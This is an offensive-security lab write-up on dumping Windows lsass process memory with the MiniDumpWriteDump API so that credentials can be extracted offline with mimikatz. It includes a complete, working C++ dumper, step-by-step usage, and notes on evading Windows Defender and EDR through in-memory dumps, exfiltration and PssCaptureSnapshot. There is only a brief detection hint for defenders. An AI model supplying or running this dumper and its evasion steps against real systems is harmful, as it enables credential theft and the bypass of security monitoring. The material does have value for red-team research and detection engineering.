Dumping Lsass without Mimikatz with MiniDumpWriteDump

Evasion, Credential Dumping

This lab explores multiple ways of how we can write a simple lsass process dumper using MiniDumpWriteDump API. Lsass process dumps created with MiniDumpWriteDump can be loaded to mimikatz offline, where credential materials could be extracted.

MiniDumpWriteDump to Disk

It's possible to use MiniDumpWriteDump API call to dump lsass process memory.

Code

dumper.cpp
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;

int main() {
	DWORD lsassPID = 0;
	HANDLE lsassHandle = NULL; 

	// Open a handle to lsass.dmp - this is where the minidump file will be saved to
	HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	// Find lsass PID	
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			lsassPID = processEntry.th32ProcessID;
		}
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
	}
	
	// Open handle to lsass.exe process
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
	
	// Create minidump
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
	
	if (isDumped) {
		cout << "[+] lsass dumped successfully!" << endl;
	}
	
    return 0;
}
CreateMiniDump.exe

Do not forget to add dbghelp.lib as a dependency in the Linker > Input settings for your C++ project if the compiler is giving you a hard time:

Or simply include at the top of the source code: #pragma comment (lib, "Dbghelp.lib")

Demo

  1. Execute CreateMiniDump.exe (compiled file above) or compile your own binary

  2. Lsass.dmp gets dumped to the working directory

  3. Take the lsass.dmp offline to your attacking machine

  4. Open mimikatz and load in the dump file

  5. Dump passwords

Why it's worth it?

See how Windows Defender on Windows 10 is flagging up mimikatz immediately... but allows running CreateMiniDump.exe? Good for us - we get lsass.exe dumped to lsass.dmp:

..which then can be read in mimikatz offline:

Of ourse, there is Sysinternal's procdump that does the same thing and it does not get flagged by Windows defender, but it is always good to know there are alternatives you could turn to if you need to for whatever reason.

Observations

As mentioned earlier, the code above uses a native windows API call MiniDumpWriteDump to make a memory dump of a given process. If you are on the blue team and trying to write detections for these activities, you may consider looking for processes loading in dbghelp.dll module and calling MiniDumpWriteDump function:

MiniDumpWriteDump to Memory using MiniDump Callbacks

By default, MiniDumpWriteDump will dump lsass process memory to disk, however it's possible to use MINIDUMP_CALLBACK_INFORMATION callbacks to create a process minidump and store it memory, where we could encrypt it before dropping to disk or exfiltrate it over the network.

Code

The below code shows how we can create a minidump for lsass and store its buffer in memory, where we can process it as required:

Thanks Niall Newman for pointing me to SafetyDump by @m0rv4i, who implemented MiniDumpWriteDump with callbacks in C#, which I used as a guide for implementing the callback logic.

Demo

On the left, 0x00000135B8291040 (dumpBuffer) gets populated with minidump data after the MiniDumpWriteDump API is called.

On the right, we're executing the same code and it says that the minidump was written to our buffer at 0x000001AEA0BC4040. For testing purposes, bytes from the same buffer 0x000001AEA0BC4040 were also written to c:\temp\lsass.dmp using WriteFile, so that we could load the lsass dump to mimikatz (bottom right) and ensure it's not corrupted and credentials can be retrieved:

MiniDumpWriteDump dumping lsass process to a memory location

If you ever try using MiniDumpWriteDump to dump process memory to memory using named pipes, you will notice that the minidump file "kind of" gets created, but mimikatz is not able to read it. That's because the minidump buffer is actually written non-sequentially (you can see this from the screenshot in the top right corner - note the differing offsets of the write operations of the minidump data), so when you are reading the minidump using named pipes, you simply are writting the minidump data in incorrect order, which effectively produces a corrupted minidump file.

Other Ways

Below are links to a couple of other cool solutions to the same problem.

Custom MiniDumpWriteDump implementation, based on the one from ReactOS:

Hooking dbgcore.dll!Win32FileOutputProvider::WriteAll to intercept the minidump data before it's written to disk:

MiniDumpWriteDump + PssCaptureSnapshot

PssCaptureSnapshot is another Windows API that lets us dump lsass process using MiniDumpWriteDump that may help us sneak past some AVs/EDRs for now.

The benefit of using PssCaptureSnapshot is that when MiniDumpWriteDump is called from your malware, it will not be reading lsass process memory directly and instead will do so from the process's snapshot.

Below is the modified dumper code that uses the PssCaptureSnapshot to obtain a snapshot of the lsass process. The handle that is returned by the PssCaptureSnapshot is then used in the MiniDumpWriteDump call instead of the lsass process handle. This is done via the minidump callback:

Note that this is the way procdump.exe works when -r flag is specified:

procdump help

To confirm, if we execute procdump like so:

...and inspect the APIs that are being called under the hood, we will see that procdump is indeed dynamically resolving the PssCaptureSnapshot address inside the kernel32.dll:

References

Last updated